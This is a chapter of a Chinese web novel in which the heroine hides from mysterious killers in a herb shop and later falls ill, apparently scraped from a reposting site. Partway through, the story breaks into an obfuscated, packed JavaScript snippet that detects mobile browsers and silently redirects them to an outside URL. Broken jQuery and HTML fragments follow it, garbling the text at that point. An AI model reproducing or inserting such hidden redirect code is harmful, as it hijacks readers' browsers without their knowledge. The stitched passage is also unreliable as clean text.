21.凶手
作品:《乱世女主决定弃屠从医》 夜雨骤然倾盆而落,雷鸣电闪纷至沓来。
“他,他死了吗?”
何若战战兢兢。
陈皎皎绕过尸体和满地的血迹,表面淡定:“嗯,他被吓死了。”
“那,那现在怎么办……”
“什么都别做,取了我们要的那味药材就走。”
见人惨死当前,陈皎皎虽心有惊悸,却也无可奈何,如今最重要的是不要再惹祸上身了。
等今夜一过,他的尸首自会有人发现。
二人商定,分头去找黄花蒿了。
……
约摸半炷香之后,陈皎皎在药铺一个最不起眼的底层木柜里找到了蒙尘已久的蒿草。
这些药材里既有绿叶香蒿,也有黄花臭蒿,杂乱无章地堆放在一处,落上了经年的灰尘。
她们汲汲以求的救命之药居然就这么被视作无利可图之物,被人为地遗忘在了此处。
陈皎皎心绪繁复,不由回头看了一眼那具早已冷透的尸身,幽幽慨叹:“这就是你的选择吗……”
本可以凭借一技之长救济乱世苍生,却利欲熏心,见钱眼开,最终咎由自取,落得如此悲惨的下场。
此时,屋外雷雨暂歇,陈皎皎与何若怀中塞满蒿草,一个接一个翻出了这间药铺。
大道上,街巷里,积水湿滑,静谧无人。
已至戌时,城门关闭,无法通行。
好在何若久居此地,最是熟悉这座城池的一砖一瓦,她带领着陈皎皎从西北边那处鲜为人知、风化坍倒的矮墙翻越了出去。
云破月来,城外无言抽芽生长的禾稻上清光一片,微凉的春风吹拂在二人的脸上,恍若将今夜的阴霾一扫而空。她们大口呼吸着雨后新鲜湿漉的空气,心底终于吐.出丝丝快意。
行至半路,陈皎皎倏忽想起了自己先前暂当给那药铺掌柜的荷包。
她得取回来。
但如果就此捎走,好像有违当初所言的“赎回”二字。
她蓦地停下脚步,摸了摸自己两侧的衣袋,最终打算用自己随身所带的些许银钱把它换回来。
何若返至她身旁:“怎么了?”
陈皎皎将怀里的蒿草全部交递给她,指向前路:“你沿着这条小路直走,马上就可以看到吴大娘给我们留的灯。”
“那你呢?你不回去吗?”
“我有东西忘在药铺里了,去去就回。”
语毕,陈皎皎未有犹豫,再度转身奔向绥城。
何若朝着她远去的背影大喊:“早去早回——!”
远处,耸立的城墙在黑夜之中静静蛰伏,宛如一只沉睡未醒的庞然凶兽。
……
陈皎皎再一次翻进药材铺子,依然被地上蔓延的大团血迹吓了一跳。
她翻箱倒柜遍寻荷包无果,只好一一将所有东西都物归原位,随后壮着胆子凑到尸体的旁边:“荷包不会还在你身上吧……”
可是尸体真的已经凉透了,不会再度“死而复生”,也不会回答她。
陈皎皎无奈呼出一口浊气,尽量避开与掌柜那双刻着“死不瞑目”的眼睛对视,强忍泛起的恶心和痛苦,伸手在他的身上摸索那只荷包的踪迹。
糟糕的是,她的手总能触碰到模糊黏腻的血肉。
更糟糕的是,她并没有摸到荷包。
陈皎皎这下深刻体会到了什么是话本里讲的“赔了夫人又折兵”。
她欲哭无泪,却也只好收手。
罢了,天意如此。
离去在即,屋外却传来一阵极其轻微的响动。
有人?
陈皎皎不及思考,闪身躲进药铺柜台下方,屏息凝神,静观其变。
脚步声齐齐临近,又有序地停在掌柜的身前。
一个陌生的男声在僻静中响起:“大人,他死了。”
男人口中的那位“大人”没有回应他,环视片刻后,淡淡开口:“你们办事不周啊。”
那道声音异常老迈低沉,却不怒自威,听上去让人不寒而栗。
“大人?”
老者的双指碾过厚薄有异的浮尘:“还有人来过。”
身在暗处的陈皎皎不禁心下一惊:这人到底是何方神圣?她们如此小心,居然还能被他察觉?
“请大人恕罪!”
“回去各领三十鞭。”
“是!”
陈皎皎竖起耳朵,发现有一道脚步渐渐逼近。
那人似乎正抬腿朝自己所藏身的药柜缓步踱来。
他不疾不徐地每近一步,陈皎皎的心便更沉一分。
若是被他们发现还有人停留在此,甚至听见了他们的密谋,只怕会死得比那药铺掌柜还要更惨几分吧……
她绝不能死在这里。
她还要救人,还要报仇。
陈皎皎缓缓抬起的右手摸上杀猪刀冰凉的刀柄,不顾左手沾染的血腥,用它死死捂住了自己的嘴巴。一对杏眼在黑暗中藏匿,如同面临危险的野兽,时刻伺机而动。
“铛,铛,铛……”
此刻,城中打更的人敲起了梆子,一声接着一声的木铃,如同散不开的雨雾一般,弥漫回荡在空旷寂静的深夜里。
“大人,子时了。”
那道象征死亡的脚步没有再靠近陈皎皎:“走吧……”
男人毕恭毕敬:“大人,要放火把这间铺子烧掉吗?”
“不必”,老者面容平静如无波古井:“做得太绝反倒叫人瞧出些怪异,找到些把柄来……”
“是!”
陈皎皎眉头微沉,又惊又疑:这些杀人凶手如此无法无天,到底是何来历?
鬼影如潮水退去,药材铺子内转瞬即静——那群人离开了。
陈皎皎捡回了一条命,惊魂未定之余,她想到那些恶人会不会半路折返杀人灭口。
她大口喘着粗气,不敢耽搁,未再停留,手脚并用地爬出柜台,翻过围墙和城墙,迎着逐渐泛白明朗的晨光,头也不回地朝家狂奔而去。
……
推开吴大娘家屋门的一瞬,陈皎皎与何若焦急又惊愕的目光对上:“你,你怎么这样了?”
她这才惊觉自己是冒雨赶回,身上脏兮兮臭烘烘一片,除了手臂上流淌下可疑的血迹,还有沾满衣裙布履的灰尘、湿泥和雨水。
何若捕捉到她脸上显露出失神和惊惧,连忙将人拉进屋子,又急切地推着丢了魂一般一身狼狈似乞丐的陈皎皎沐浴更衣。
浸泡在热气腾腾的浴桶里,陈皎皎却身起冷颤,头痛欲裂。
惨死的掌柜,残忍的真凶,失踪的荷包……这一切事端恍若剪不断理还乱的红色丝线,紧紧缚住了陈皎皎的心神。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049729|193030||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
……
身强体壮的陈皎皎久违地病倒了。
何若连日忙着照顾她和小葵,也是“大门不出二门不迈”。
药铺掌柜的死讯在两日之后传来,彼时,何若正在院子里煎制中药,她把黑乎乎的汤水端到陈皎皎的面前:“他死了。”
陈皎皎身子虚弱,神思昏沉,鼻音更是说不出的浓重:“嗯。”
她端起略微发烫的瓷碗,一饮而尽,耳边全是何若的絮叨:“活该,这真真是‘多行不义必自毙’啊!可怎么他死了之后,我反倒没那么恨他了呢?”
陈皎皎心里想着这可能也是一种需要医治的病症,只是她如今实在没力气和何若拌嘴玩笑,喝完那碗苦如胆汁的汤药之后便沉沉睡去了。
这场“借药”风波不太平静和体面地暂告段落。令人欣慰的是,何葵服用了黄花臭蒿所制的药汁,果真逐渐好转,痊愈指日可待。
陈皎皎身在病中之时,李千和池晔曾前来探望,二人皆比平日里多提了一条大鱼,说要她多喝鱼汤补补。
李千神神秘秘地推搡着池晔,二人一齐走到她的房门口之际,他又故作突发急事的模样,只留下池晔一人进屋。
陈皎皎与来人隔坐在她用废弃粗布挂起的简易行障两边说话闲聊。
池晔虽然为人真诚善良,但在一些感情上着实呆板木讷,他一会儿与陈皎皎说起军务繁忙,一会儿又和她聊起所谓的军中“趣事”。
陈皎皎听得催眠无趣,披衣依靠在榻上有一茬没一茬地附和他,心里却始终挂念着那只丢失的墨绿色荷包。
它到底去哪里了呢?
陈皎皎闭眼回忆起上次替何若解围的场景。那时她分明还看见掌柜的腰间别系着那枚颇为显眼的富贵荷包来着……
她思来想去入了迷,竟浑然未觉自己渐渐止住了应和池晔的话语。
障外的池晔见里面的女郎不再同他说话,自觉噤声。
屋内落针可闻,暮春的灿烂日光穿过窗花,映在五色粗布拼缝的行障和厚厚的被褥上,将整间屋子熏得格外温暖和清香。
池晔轻声低唤:“陈姑娘?”
无人应答。
“陈姑娘”,池晔缓缓走近那座行障,面对那一片朦胧的暖光:“你怎么样了?”
不消多时,障内忽然传来一阵绵长的微鼾。他听罢心下稍稍安定,缩回想要触碰行障的手,转身轻轻悄悄地离开了。
何若正在小院里给吴大娘喂鸡,老远就看见那位凶神恶煞,脸上长疤的池郎君急匆匆地从陈皎皎的屋子里出来。
她速速低下头,不欲与其目光相视。
高大的黑影像一片乌云似的盖住何若,她喂鸡的手不禁一抖,随后却听见“煞神”开口,声音里透出极别扭的“温柔”:“何姑娘,麻烦你照顾好陈娘子……”
“啊?”
何若还以为是自己听岔了。她抬头,意外瞥见那男人飘忽不定的眼神和红透如云霞的耳根。
哦豁?
有情况。
何若强压上扬的嘴角,爽快地应下了。
其实就算池郎君不提,何若也自会尽心尽力照料陈皎皎的,毕竟她也算是医治小葵的救命恩人呐。
陈皎皎大病初愈之际,北地已悄然转入了初夏。
她深觉报仇一事已经不能再拖延下去了。

